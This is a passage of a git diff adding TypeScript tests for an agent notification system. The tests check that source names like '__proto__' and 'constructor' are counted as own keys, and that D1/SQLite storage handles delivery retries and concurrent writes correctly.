'hasOwnProperty', 'urgent'), + record('n5', '', 'low'), + record('n6', 'crm', 'low'), + record('n7', 'crm', 'medium'), + record('n8', 'constructor', 'low', 'delivered'), +]; + +const POLICY_SOURCES = [ + 'ordinary', + '__proto__', + 'constructor', + 'toString', + 'hasOwnProperty', +] as const; + +function unreachableModel() { + const unreachable = () => + Promise.reject(new Error('source-key tests must not reach a model')); + const doGenerate = vi.fn(unreachable); + const doStream = vi.fn(unreachable); + const model: MastraModelConfig = { + specificationVersion: 'v2', + provider: 'flowsafe-test', + modelId: 'unreachable', + supportedUrls: {}, + doGenerate, + doStream, + }; + return { doGenerate, doStream, model }; +} + +async function policyAgent(deliveryPolicy: NotificationDeliveryPolicyConfig) { + const { doGenerate, doStream, model } = unreachableModel(); + const memory = new MockMemory(); + const agent = new Agent({ + id: 'source-keys', + name: 'Source keys', + instructions: 'Never runs.', + model, + memory, + notifications: { deliveryPolicy }, + }); + new Mastra({ + storage: new InMemoryStore(), + agents: { 'source-keys': agent }, + logger: false, + }); + const threadId = crypto.randomUUID(); + await memory.saveThread({ + thread: { + id: threadId, + resourceId: 'resource-keys', + createdAt: CREATED_AT, + updatedAt: CREATED_AT, + metadata: {}, + }, + }); + const send = async (source: string, priority: NotificationPriority) => { + const result = await agent.sendNotificationSignal( + { source, kind: 'changed', summary: 'payload', priority }, + { + threadId, + resourceId: 'resource-keys', + ifIdle: { behavior: 'persist' }, + }, + ); + if (result.persisted) await result.persisted; + return result; + }; + const messages = async () => (await memory.recall({ threadId })).messages; + return { doGenerate, doStream, messages, send }; +} + +for (const [label, core] of modules) { + describe.skipIf(!patched.get(label))( + `core notification summary source keys (${label})`, + () => { + it('counts prototype-colliding sources as own numeric entries', () => { + const summary = core.summarizeNotifications(BATCH); + + // No source name resolves an inherited member instead of its own count. An + // own `__proto__` entry requires an accumulator that never invokes the + // inherited setter, which a read-side guard alone cannot produce. + expect(Object.entries(summary.bySource)).toEqual([ + ['__proto__', 1], + ['constructor', 1], + ['toString', 1], + ['hasOwnProperty', 1], + ['', 1], + ['crm', 2], + ]); + for (const source of [ + '__proto__', + 'constructor', + 'toString', + 'hasOwnProperty', + '', + 'crm', + ]) { + expect(Object.hasOwn(summary.bySource, source)).toBe(true); + expect(typeof summary.bySource[source]).toBe('number'); + } + expect(Object.hasOwn(summary.bySource, 'valueOf')).toBe(false); + + expect(summary.pending).toBe(7); + expect(summary.threadId).toBe('thread-keys'); + expect(summary.resourceId).toBe('resource-keys'); + expect(summary.agentId).toBe('agent-keys'); + expect(summary.byPriority).toEqual({ + low: 3, + medium: 2, + high: 1, + urgent: 1, + }); + expect(summary.notificationIds).toEqual([ + 'n1', + 'n2', + 'n3', + 'n4', + 'n5', + 'n6', + 'n7', + ]); + }); + + it('renders own counts in the summary text and metadata groups', () => { + const summary = core.summarizeNotifications(BATCH); + + expect(core.notificationSummaryContents(summary)).toBe( + ': 1, __proto__: 1, constructor: 1, crm: 2, hasOwnProperty: 1, toString: 1', + ); + expect(core.notificationSummarySignalMetadata(summary)).toEqual({ + signal: 'summary', + pending: 7, + groups: [ + { source: '', count: 1 }, + { source: '__proto__', count: 1 }, + { source: 'constructor', count: 1 }, + { source: 'crm', count: 2 }, + { source: 'hasOwnProperty', count: 1 }, + { source: 'toString', count: 1 }, + ], + byPriority: { low: 3, medium: 2, high: 1, urgent: 1 }, + notificationIds: ['n1', 'n2', 'n3', 'n4', 'n5', 'n6', 'n7'], + priority: 'urgent', + }); + }); + + it('keeps the empty and no-pending shapes', () => { + const empty = core.summarizeNotifications([]); + expect(empty).toMatchObject({ + threadId: '', + pending: 0, + byPriority: {}, + notificationIds: [], + }); + expect(Object.entries(empty.bySource)).toEqual([]); + expect(core.notificationSummaryContents(empty)).toBe( + 'No pending notifications', + ); + expect(core.notificationSummarySignalMetadata(empty)).toEqual({ + signal: 'summary', + pending: 0, + groups: [], + byPriority: {}, + notificationIds: [], + }); + + const terminal = core.summarizeNotifications([ + record('n9', 'constructor', 'high', 'delivered'), + ]); + expect(terminal).toMatchObject({ + threadId: 'thread-keys', + resourceId: 'resource-keys', + agentId: 'agent-keys', + pending: 0, + byPriority: {}, + notificationIds: [], + }); + expect(Object.entries(terminal.bySource)).toEqual([]); + expect(core.notificationSummaryContents(terminal)).toBe( + 'No pending notifications', + ); + }); + }, + ); +} + +for (const [label, core] of modules) { + describe.skipIf(!patched.get(label))( + `core notification delivery policy source lookup (${label})`, + () => { + const input = ( + source: string, + priority: NotificationPriority = 'low', + ) => ({ + record: record('p1', source, priority), + threadState: 'idle' as const, + now: CREATED_AT, + }); + + it.each( + POLICY_SOURCES, + )('falls through an empty source map to the default action for %s', async (source) => { + await expect( + core.resolveNotificationDeliveryDecision({ + config: { sources: {}, default: 'discard' }, + ...input(source), + }), + ).resolves.toEqual({ action: 'discard' }); + }); + + it('honors an explicit own source entry', async () => { + const config = { + sources: sourcePolicy([ + ['constructor', 'persist'], + ['__proto__', 'queue'], + ]), + default: 'discard' as const, + }; + await expect( + core.resolveNotificationDeliveryDecision({ + config, + ...input('constructor'), + }), + ).resolves.toEqual({ action: 'persist' }); + await expect( + core.resolveNotificationDeliveryDecision({ + config, + ...input('__proto__'), + }), + ).resolves.toEqual({ action: 'queue' }); + await expect( + core.resolveNotificationDeliveryDecision({ + config, + ...input('toString'), + }), + ).resolves.toEqual({ action: 'discard' }); + }); + + it('keeps decide precedence over the source map', async () => { + await expect( + core.resolveNotificationDeliveryDecision({ + config: { + decide: () => 'deliver', + sources: sourcePolicy([['constructor', 'persist']]), + default: 'discard', + }, + ...input('constructor'), + }), + ).resolves.toEqual({ action: 'deliver' }); + }); + + it('keeps the priority fallback between the source map and the default', async () => { + await expect( + core.resolveNotificationDeliveryDecision({ + config: { + sources: {}, + priorities: { low: 'queue' }, + default: 'discard', + }, + ...input('constructor'), + }), + ).resolves.toEqual({ action: 'queue' }); + }); + }, + ); +} + +// Core's inline sender builds its own summary from the helper it imports +// lexically and hands it straight to the thread runtime, so overriding +// `agent.sendSignal` never observes it. It only summarizes while the thread is +// active, which a registered run provides without any model call. +describe.skipIf(!patched.get('esm'))( + 'core inline notification summary sender', + () => { + it.each([ + ['medium', 'constructor', 'active-batch-summary'], + ['high', '__proto__', 'active-high-summary-then-full'], + ] as const)('emits an own-keyed inline summary for an active %s notification', async (priority, source, reason) => { + // #given — an ordinary core agent with a run in flight + const { doGenerate, doStream, model } = unreachableModel(); + const memory = new MockMemory(); + const agent = new Agent({ + id: 'inline-summary', + name: 'Inline summary', + instructions: 'Never runs.', + model, + memory, + }); + const mastra = new Mastra({ + storage: new InMemoryStore(), + agents: { 'inline-summary': agent }, + logger: false, + }); + const runtime = mastra.agentThreadStreamRuntime; + const pubsub = agent.getPubSub(); + const threadId = crypto.randomUUID(); + await memory.saveThread({ + thread: { + id: threadId, + resourceId: 'resource-keys', + createdAt: CREATED_AT, + updatedAt: CREATED_AT, + metadata: {}, + }, + }); + await agent.stream('active turn', { + runId: crypto.randomUUID(), + memory: { thread: threadId, resource: 'resource-keys' }, + }); + await vi.waitFor(() => + expect( + runtime.getThreadState( + { threadId, resourceId: 'resource-keys' }, + pubsub, + ), + ).toBe('active'), + ); + const emitted = vi.spyOn(runtime, 'sendSignal'); + + try { + // #when + const result = await agent.sendNotificationSignal( + { source, kind: 'changed', summary: 'payload', priority }, + { + threadId, + resourceId: 'resource-keys', + ifIdle: { behavior: 'persist' }, + }, + ); + + // #then — the emitted summary counts the colliding source once + expect(result.decision).toMatchObject({ action: 'summarize', reason }); + const summaries = emitted.mock.calls + .map(([, signal]) => signal) + .filter((signal) => signal.tagName === 'notification-summary'); + expect(summaries.map((signal) => signal.contents)).toEqual([ + `${source}: 1`, + ]); + expect( + (summaries[0]?.metadata as { notification?: unknown } | undefined) + ?.notification, + ).toEqual({ + signal: 'summary', + pending: 1, + groups: [{ source, count: 1 }], + byPriority: { [priority]: 1 }, + notificationIds: [result.record.id], + priority, + }); + // A summarized high notification keeps its full-delivery cursor; a medium + // one has none to keep. + const { deliverAt } = result.decision as { deliverAt?: Date }; + if (priority === 'high') expect(deliverAt).toBeInstanceOf(Date); + else expect(deliverAt).toBeUndefined(); + expect(doStream).not.toHaveBeenCalled(); + expect(doGenerate).not.toHaveBeenCalled(); + } finally { + runtime.abortThread({ threadId, resourceId: 'resource-keys' }, pubsub); + } + expect(unhandled).toEqual([]); + }); + }, +); + +describe.skipIf(!patched.get('esm'))( + 'ordinary core agent delivery policy', + () => { + it.each([ + 'ordinary', + 'constructor', + 'toString', + '__proto__', + ] as const)('discards %s under an empty source map with a discard default', async (source) => { + const agent = await policyAgent({ sources: {}, default: 'discard' }); + + const result = await agent.send(source, 'low'); + + expect(result.record.status).toBe('discarded'); + expect(result.decision).toMatchObject({ action: 'discard' }); + expect(await agent.messages()).toHaveLength(0); + expect(agent.doGenerate).not.toHaveBeenCalled(); + expect(agent.doStream).not.toHaveBeenCalled(); + }); + + it('honors an explicit own source entry through the sender', async () => { + const agent = await policyAgent({ + sources: sourcePolicy([['constructor', 'persist']]), + default: 'discard', + }); + + const result = await agent.send('constructor', 'low'); + + expect(result.record.status).toBe('pending'); + expect(result.decision).toMatchObject({ action: 'persist' }); + expect(agent.doGenerate).not.toHaveBeenCalled(); + expect(agent.doStream).not.toHaveBeenCalled(); + }); + + it('keeps decide precedence and the priority fallback through the sender', async () => { + const decided = await policyAgent({ + decide: () => 'queue', + sources: {}, + default: 'discard', + }); + const decidedResult = await decided.send('constructor', 'low'); + expect(decidedResult.decision).toMatchObject({ action: 'queue' }); + expect(decided.doGenerate).not.toHaveBeenCalled(); + + const prioritized = await policyAgent({ + sources: {}, + priorities: { low: 'queue' }, + default: 'discard', + }); + const prioritizedResult = await prioritized.send('constructor', 'low'); + expect(prioritizedResult.decision).toMatchObject({ action: 'queue' }); + expect(prioritized.doGenerate).not.toHaveBeenCalled(); + }); + }, +); diff --git a/packages/flowsafe/src/signals/notifications-d1.test.ts b/packages/flowsafe/src/signals/notifications-d1.test.ts index fbd849ae..7404f4ec 100644 --- a/packages/flowsafe/src/signals/notifications-d1.test.ts +++ b/packages/flowsafe/src/signals/notifications-d1.test.ts @@ -2,10 +2,23 @@ // D1NotificationsStorage round-trip / coalescing / listDue / update — mirrors the // core InMemoryNotificationsStorage behavior over a node:sqlite SQL unit facade. +import type { + CreateNotificationInput, + NotificationRecord, +} from '@mastra/core/notifications'; import { describe, expect, it } from 'vitest'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import { + notificationTimestampMillis, + notificationTimestampSql, +} from '../do-runner/notification-predicate.js'; import type { SignalDatabase, SignalStatement } from './d1-shared.js'; +import { + captureNotificationDeliveryObservation, + type NotificationDeliveryFailure, + type NotificationDeliveryObservation, +} from './notification-dispatch.js'; import { D1NotificationsStorage } from './notifications-d1.js'; function store(): D1NotificationsStorage { @@ -25,38 +38,17 @@ function sharedStores(): [D1NotificationsStorage, D1NotificationsStorage] { ]; } -function coalescableReadBarrier(db: SignalDatabase): { - db: SignalDatabase; - selected: Promise; - release: () => void; -} { - let markSelected: () => void = () => undefined; - const selected = new Promise((resolve) => { - markSelected = resolve; - }); - let releaseRead: () => void = () => undefined; - const released = new Promise((resolve) => { - releaseRead = resolve; - }); - let intercepted = false; - +function interceptFirst( + db: SignalDatabase, + intercept: (query: string, read: () => Promise) => Promise, +): SignalDatabase { function wrap(query: string, statement: SignalStatement): SignalStatement { return { bind(...values: unknown[]) { return wrap(query, statement.bind(...values)); }, async first(): Promise { - const row = await statement.first(); - if ( - !intercepted && - row !== null && - query.includes('insertionOrdinal IS NULL ASC') - ) { - intercepted = true; - markSelected(); - await released; - } - return row; + return (await intercept(query, () => statement.first())) as T | null; }, all() { return statement.all(); @@ -66,35 +58,143 @@ function coalescableReadBarrier(db: SignalDatabase): { }, }; } - return { - db: { - prepare(query: string) { - return wrap(query, db.prepare(query)); - }, - batch(statements) { - if (!db.batch) throw new Error('test database has no batch'); - return db.batch(statements); - }, + prepare(query) { + return wrap(query, db.prepare(query)); }, + ...(db.batch ? { batch: db.batch.bind(db) } : {}), + }; +} + +function coalescableReadBarrier(db: SignalDatabase): { + db: SignalDatabase; + selected: Promise; + release: () => void; +} { + let markSelected: () => void = () => undefined; + const selected = new Promise((resolve) => { + markSelected = resolve; + }); + let releaseRead: () => void = () => undefined; + const released = new Promise((resolve) => { + releaseRead = resolve; + }); + let intercepted = false; + + return { + db: interceptFirst(db, async (query, read) => { + const row = await read(); + if ( + !intercepted && + row !== null && + query.includes('insertionOrdinal IS NULL ASC') + ) { + intercepted = true; + markSelected(); + await released; + } + return row; + }), selected, release: releaseRead, }; } +const ATTEMPT_TIME = '2026-09-09T12:00:00.000Z'; +const WRITE_TIME = '2026-09-09T13:00:00.000Z'; +const RETRY_TIME = '2026-09-09T12:00:01.000Z'; + +function createDueNotification( + storage: D1NotificationsStorage, + input: Partial = {}, +): Promise { + return storage.createNotification({ + id: 'receipt', + threadId: 'thread', + source: 'source', + kind: 'kind', + summary: 'summary', + resourceId: 'resource', + agentId: 'agent', + createdAt: new Date('2026-09-09T10:00:00.000Z'), + deliverAt: new Date('2026-09-09T11:59:59.000Z'), + summaryAt: new Date('2026-09-09T14:00:00.000Z'), + ...input, + }); +} + +function retryFailure(): Extract< + NotificationDeliveryFailure, + { type: 'retry' } +> { + return { + type: 'retry', + updatedAt: WRITE_TIME, + deliveryAttempts: 1, + lastDeliveryAttemptAt: ATTEMPT_TIME, + lastDeliveryError: 'target refused', + deliverAt: RETRY_TIME, + }; +} + +function isDeliveryUpdate(query: string): boolean { + return ( + query.trimStart().startsWith('UPDATE ') && query.includes('RETURNING *') + ); +} + +function deliveryWriteBarrier(db: SignalDatabase): { + db: SignalDatabase; + writing: Promise; + release: () => void; +} { + let markWriting: () => void = () => undefined; + let release: () => void = () => undefined; + const writing = new Promise((resolve) => { + markWriting = resolve; + }); + const released = new Promise((resolve) => { + release = resolve; + }); + let intercepted = false; + return { + db: interceptFirst(db, async (query, read) => { + if (!intercepted && isDeliveryUpdate(query)) { + intercepted = true; + markWriting(); + await released; + } + return read(); + }), + writing, + release, + }; +} + +async function rawNotification( + db: SignalDatabase, +): Promise> { + const row = await db + .prepare('SELECT * FROM mastra_notifications') + .first>(); + if (!row) throw new Error('notification fixture is missing'); + return row; +} + async function createLegacyNotificationsTable( db: SignalDatabase, + textCollation: 'BINARY' | 'NOCASE' = 'BINARY', ): Promise { await db .prepare( `CREATE TABLE mastra_notifications ( - id TEXT NOT NULL, - thread_id TEXT NOT NULL, + id TEXT NOT NULL COLLATE ${textCollation}, + thread_id TEXT NOT NULL COLLATE ${textCollation}, source TEXT NOT NULL, kind TEXT NOT NULL, priority TEXT NOT NULL, status TEXT NOT NULL, - summary TEXT NOT NULL, + summary TEXT NOT NULL COLLATE ${textCollation}, payload TEXT, resourceId TEXT, agentId TEXT, @@ -356,6 +456,48 @@ describe('D1NotificationsStorage', () => { expect(due.map((r) => r.summary)).toEqual(['due']); }); + it.each( + ( + ['delivered', 'seen', 'dismissed', 'archived', 'discarded'] as const + ).flatMap((status) => + (['deliverAt', 'summaryAt'] as const).map((cursor) => ({ + status, + cursor, + })), + ), + )('excludes $status with a retained $cursor from a limited due window', async ({ + status, + cursor, + }) => { + const s = store(); + const now = new Date('2026-01-01T00:00:00.000Z'); + const dueAt = new Date(now.getTime() - 1000); + const terminal = await s.createNotification({ + threadId: 'acme_t1', + source: 'x', + kind: 'a', + summary: 'terminal', + [cursor]: dueAt, + }); + await s.updateNotification({ + threadId: terminal.threadId, + id: terminal.id, + status, + }); + expect(await s.getNotification(terminal)).toMatchObject({ + status, + [cursor]: dueAt, + }); + const pending = await s.createNotification({ + threadId: 'acme_t1', + source: 'x', + kind: 'b', + summary: 'pending', + [cursor]: now, + }); + expect(await s.listDueNotifications({ now, limit: 1 })).toEqual([pending]); + }); + it('updateNotification stamps the status timestamp and filters by status', async () => { const s = store(); const created = await s.createNotification({ @@ -930,3 +1072,952 @@ describe('D1NotificationsStorage', () => { expect(due.map((record) => record.id)).toEqual(['both']); }); }); + +describe('D1 notification conditional delivery bookkeeping', () => { + it('advances the due cursor and preserves future cursor bytes and other fields', async () => { + const db = database(); + const s = new D1NotificationsStorage(db); + const original = await createDueNotification(s, { + payload: { value: 1 }, + metadata: { origin: 'source' }, + }); + await db + .prepare( + `UPDATE mastra_notifications + SET summaryAt = '2026-09-09T18:00:00+04:00', + payload = '{ "value" : 1.0 }'`, + ) + .run(); + const before = await rawNotification(db); + const result = await s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }); + expect(result).toMatchObject({ + applied: true, + record: { + status: 'pending', + deliveryAttempts: 1, + lastDeliveryError: 'target refused', + lastDeliveryAttemptAt: new Date(ATTEMPT_TIME), + updatedAt: new Date(WRITE_TIME), + }, + }); + expect(await rawNotification(db)).toEqual({ + ...before, + updatedAt: WRITE_TIME, + deliveryAttempts: 1, + lastDeliveryAttemptAt: ATTEMPT_TIME, + lastDeliveryError: 'target refused', + deliverAt: RETRY_TIME, + }); + }); + + it('moves both due cursors without clearing a completed summary receipt', async () => { + const s = store(); + await createDueNotification(s, { summaryAt: new Date(ATTEMPT_TIME) }); + const original = await s.updateNotification({ + threadId: 'thread', + id: 'receipt', + summarySignalId: 'prior-summary', + }); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: { ...retryFailure(), summaryAt: RETRY_TIME }, + }), + ).resolves.toMatchObject({ + applied: true, + record: { + summaryAt: new Date(RETRY_TIME), + deliverAt: new Date(RETRY_TIME), + summarySignalId: 'prior-summary', + }, + }); + }); + + it('persists the final failed round and keeps its terminal receipt visible', async () => { + const s = store(); + await createDueNotification(s); + const original = await s.updateNotification({ + threadId: 'thread', + id: 'receipt', + deliveryAttempts: 9, + summarySignalId: 'prior-summary', + }); + const failure: NotificationDeliveryFailure = { + type: 'discard', + updatedAt: WRITE_TIME, + deliveryAttempts: 10, + lastDeliveryAttemptAt: ATTEMPT_TIME, + lastDeliveryError: 'last refusal', + }; + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure, + }), + ).resolves.toMatchObject({ + applied: true, + record: { + status: 'discarded', + deliveryReason: 'delivery-attempts-exhausted', + deliveryAttempts: 10, + lastDeliveryError: 'last refusal', + lastDeliveryAttemptAt: new Date(ATTEMPT_TIME), + discardedAt: new Date(WRITE_TIME), + updatedAt: new Date(WRITE_TIME), + summarySignalId: 'prior-summary', + deliverAt: undefined, + summaryAt: undefined, + }, + }); + expect(await s.listDueNotifications({ now: new Date(WRITE_TIME) })).toEqual( + [], + ); + const listed = await s.listNotifications({ threadId: 'thread' }); + expect(listed).toHaveLength(1); + expect(listed[0]).toEqual( + await s.getNotification({ threadId: 'thread', id: 'receipt' }), + ); + }); + + it.each([ + 10, + Number.MAX_SAFE_INTEGER, + ])('terminalizes an existing count of %s without replacing the failed receipt', async (deliveryAttempts) => { + const db = database(); + const s = new D1NotificationsStorage(db); + await createDueNotification(s); + const original = await s.updateNotification({ + threadId: 'thread', + id: 'receipt', + deliveryAttempts, + lastDeliveryAttemptAt: new Date(ATTEMPT_TIME), + lastDeliveryError: 'original refusal', + }); + await db + .prepare( + `UPDATE mastra_notifications + SET lastDeliveryAttemptAt = '2026-09-09T16:00:00+04:00'`, + ) + .run(); + const before = await rawNotification(db); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: { type: 'exhausted', updatedAt: WRITE_TIME }, + }), + ).resolves.toMatchObject({ applied: true }); + expect(await rawNotification(db)).toEqual({ + ...before, + status: 'discarded', + deliveryReason: 'delivery-attempts-exhausted', + updatedAt: WRITE_TIME, + discardedAt: WRITE_TIME, + deliverAt: null, + summaryAt: null, + }); + }); + + it('preserves absent prior error and attempt time during terminalization', async () => { + const db = database(); + const s = new D1NotificationsStorage(db); + await createDueNotification(s); + const original = await s.updateNotification({ + threadId: 'thread', + id: 'receipt', + deliveryAttempts: 10, + }); + await s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: { type: 'exhausted', updatedAt: WRITE_TIME }, + }); + expect(await rawNotification(db)).toMatchObject({ + deliveryAttempts: 10, + lastDeliveryAttemptAt: null, + lastDeliveryError: null, + }); + }); + + it.each([ + ['status', 'delivered'], + ['deliveredSignalId', 'existing-signal'], + ] as const)('refuses an observed %s receipt', async (field, value) => { + const db = database(); + const s = new D1NotificationsStorage(db); + await createDueNotification(s); + const original = await s.updateNotification({ + threadId: 'thread', + id: 'receipt', + [field]: value, + }); + const before = await rawNotification(db); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }), + ).resolves.toEqual({ applied: false }); + expect(await rawNotification(db)).toEqual(before); + }); + + it('returns no-write after a notification is removed', async () => { + const s = store(); + const original = await createDueNotification(s); + await s.dangerouslyClearAll(); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }), + ).resolves.toEqual({ applied: false }); + }); + + it.each([ + ['thread_id', 'another-thread'], + ['id', 'another-receipt'], + ['source', 'another-source'], + ['kind', 'another-kind'], + ['priority', 'urgent'], + ['status', 'discarded'], + ['summary', 'another-summary'], + ['payload', '{"changed":true}'], + ['resourceId', 'another-resource'], + ['agentId', 'another-agent'], + ['sourceId', 'another-source-id'], + ['dedupeKey', 'another-dedupe-key'], + ['coalesceKey', 'another-coalesce-key'], + ['coalescedCount', 2], + ['attributes', '{"changed":true}'], + ['createdAt', WRITE_TIME], + ['updatedAt', WRITE_TIME], + ['deliverAt', null], + ['summaryAt', null], + ['deliveryReason', 'another-reason'], + ['deliveryAttempts', 1], + ['lastDeliveryAttemptAt', ATTEMPT_TIME], + ['lastDeliveryError', 'another-error'], + ['deliveredSignalId', 'another-delivery'], + ['summarySignalId', 'another-summary-signal'], + ['deliveredAt', WRITE_TIME], + ['seenAt', WRITE_TIME], + ['dismissedAt', WRITE_TIME], + ['archivedAt', WRITE_TIME], + ['discardedAt', WRITE_TIME], + ['metadata', '{"changed":true}'], + ])('preserves a concurrent %s change at the final SQL write', async (column, value) => { + const db = database(); + const barrier = deliveryWriteBarrier(db); + const left = new D1NotificationsStorage(barrier.db); + const right = new D1NotificationsStorage(db); + const original = await createDueNotification(right); + const pending = left.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }); + await barrier.writing; + await db + .prepare(`UPDATE mastra_notifications SET ${column} = ?`) + .bind(value) + .run(); + const newer = await rawNotification(db); + barrier.release(); + await expect(pending).resolves.toEqual({ applied: false }); + expect(await rawNotification(db)).toEqual(newer); + }); + + it.each([ + 'summary', + 'delivery', + 'denial', + 'failure', + 'coalescing', + 'replacement', + ])('preserves a newer %s written by another storage adapter', async (outcome) => { + const db = database(); + const barrier = deliveryWriteBarrier(db); + const left = new D1NotificationsStorage(barrier.db); + const right = new D1NotificationsStorage(db); + const original = await createDueNotification(right, { + coalesceKey: 'group', + }); + const pending = left.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }); + await barrier.writing; + if (outcome === 'coalescing') { + await createDueNotification(right, { + coalesceKey: 'group', + summary: 'merged', + }); + } else if (outcome === 'replacement') { + await createDueNotification(right, { + source: 'replacement', + payload: { new: true }, + }); + } else if (outcome === 'failure') { + await right.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: { ...retryFailure(), lastDeliveryError: 'original refusal' }, + }); + } else { + await right.updateNotification({ + threadId: 'thread', + id: 'receipt', + ...(outcome === 'summary' + ? { summaryAt: null, summarySignalId: 'summary-receipt' } + : outcome === 'delivery' + ? { status: 'delivered', deliveredSignalId: 'delivery-receipt' } + : { status: 'discarded', deliveryReason: 'content-policy-denied' }), + }); + } + await db + .prepare('UPDATE mastra_notifications SET updatedAt = ?') + .bind(original.updatedAt.toISOString()) + .run(); + const newer = await rawNotification(db); + barrier.release(); + await expect(pending).resolves.toEqual({ applied: false }); + expect(await rawNotification(db)).toEqual(newer); + }); + + it('does not manufacture an identity for an identical same-ID replacement', async () => { + const db = database(); + const barrier = deliveryWriteBarrier(db); + const left = new D1NotificationsStorage(barrier.db); + const right = new D1NotificationsStorage(db); + const original = await createDueNotification(right); + const pending = left.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }); + await barrier.writing; + await createDueNotification(right); + barrier.release(); + await expect(pending).resolves.toMatchObject({ applied: true }); + }); + + it('captures input scalars before its first await', async () => { + const db = database(); + const s = new D1NotificationsStorage(db); + const original = await createDueNotification(s); + const expected = { ...captureNotificationDeliveryObservation(original) }; + const failure = retryFailure(); + const pending = s.updateNotificationDeliveryIfUnchanged({ + expected, + failure, + }); + expected.summary = 'mutated'; + expected.deliveryAttempts = 200; + Object.assign(failure, { + deliveryAttempts: 201, + lastDeliveryError: 'mutated', + }); + await expect(pending).resolves.toMatchObject({ + applied: true, + record: { + summary: 'summary', + deliveryAttempts: 1, + lastDeliveryError: 'target refused', + }, + }); + }); + + it.each([ + ['payload', 'not-json'], + ['payload', '{"overflow":1e999}'], + ['attributes', '{'], + ['metadata', '{'], + ['deliverAt', 'not-a-date'], + ['summaryAt', ''], + ['createdAt', ''], + ['updatedAt', 'not-a-date'], + ['lastDeliveryAttemptAt', 'not-a-date'], + ['deliveryAttempts', -1], + ['deliveryAttempts', 0.5], + ['deliveryAttempts', 'broken'], + ['coalescedCount', 'broken'], + ])('rejects unreadable raw %s values instead of treating them as absent', async (column, value) => { + const db = database(); + const s = new D1NotificationsStorage(db); + const original = await createDueNotification(s); + await db + .prepare(`UPDATE mastra_notifications SET ${column} = ?`) + .bind(value) + .run(); + const before = await rawNotification(db); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }), + ).rejects.toThrow(); + expect(await rawNotification(db)).toEqual(before); + }); + + it('keeps an unsafe SQLite integer unchanged when the driver cannot read it', async () => { + const db = database(); + const s = new D1NotificationsStorage(db); + const original = await createDueNotification(s); + await db + .prepare('UPDATE mastra_notifications SET deliveryAttempts = ?') + .bind(Number.MAX_SAFE_INTEGER + 1) + .run(); + const readReceipt = () => + db + .prepare( + `SELECT CAST(deliveryAttempts AS TEXT) AS attempts, + updatedAt, lastDeliveryError, lastDeliveryAttemptAt + FROM mastra_notifications`, + ) + .first(); + const before = await readReceipt(); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }), + ).rejects.toThrow(); + expect(await readReceipt()).toEqual(before); + }); + + it('uses binary final guards when the stored content collation ignores case', async () => { + const db = database(); + await createLegacyNotificationsTable(db, 'NOCASE'); + const barrier = deliveryWriteBarrier(db); + const left = new D1NotificationsStorage(barrier.db); + const right = new D1NotificationsStorage(db); + const original = await createDueNotification(right); + const pending = left.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }); + await barrier.writing; + await db + .prepare("UPDATE mastra_notifications SET summary = 'SUMMARY'") + .run(); + const newer = await rawNotification(db); + barrier.release(); + await expect(pending).resolves.toEqual({ applied: false }); + expect(await rawNotification(db)).toEqual(newer); + }); + + it.each([ + null, + -1, + 0.5, + NaN, + Infinity, + Number.MAX_SAFE_INTEGER + 1, + '0', + ])('rejects malformed captured deliveryAttempts %s without database work', async (value) => { + const s = store(); + const original = await createDueNotification(s); + const expected = { + ...captureNotificationDeliveryObservation(original), + deliveryAttempts: value, + } as NotificationDeliveryObservation; + await expect( + new D1NotificationsStorage({ + prepare() { + throw new Error('database must not be reached'); + }, + }).updateNotificationDeliveryIfUnchanged({ + expected, + failure: retryFailure(), + }), + ).rejects.toThrow('nonnegative safe integer'); + }); + + it.each([ + { type: 'unknown', updatedAt: WRITE_TIME }, + { ...retryFailure(), summary: 'unauthorized content edit' }, + { ...retryFailure(), deliveryAttempts: 0 }, + { ...retryFailure(), deliveryAttempts: 2 }, + { ...retryFailure(), lastDeliveryAttemptAt: 'not-a-date' }, + { ...retryFailure(), updatedAt: '2026-09-09T13:00:00Z' }, + { ...retryFailure(), lastDeliveryError: null }, + { ...retryFailure(), deliverAt: undefined }, + { ...retryFailure(), deliverAt: ATTEMPT_TIME }, + { ...retryFailure(), summaryAt: RETRY_TIME }, + { type: 'exhausted', updatedAt: WRITE_TIME, deliveryAttempts: 1 }, + ])('rejects malformed or broad failure patches %#', async (failure) => { + const db = database(); + const s = new D1NotificationsStorage(db); + const original = await createDueNotification(s); + const before = await rawNotification(db); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: failure as NotificationDeliveryFailure, + }), + ).rejects.toThrow(); + expect(await rawNotification(db)).toEqual(before); + }); + + it('cannot overflow a maximum safe counter while recording a new failure', async () => { + const s = store(); + await createDueNotification(s); + const original = await s.updateNotification({ + threadId: 'thread', + id: 'receipt', + deliveryAttempts: Number.MAX_SAFE_INTEGER, + }); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: { + ...retryFailure(), + deliveryAttempts: Number.MAX_SAFE_INTEGER, + }, + }), + ).rejects.toThrow('increment once'); + }); + + it('distinguishes absent JSON from JSON null and preserves serializer conversions', async () => { + const s = store(); + const original = await createDueNotification(s, { + payload: { + date: new Date(ATTEMPT_TIME), + omitted: undefined, + infinite: 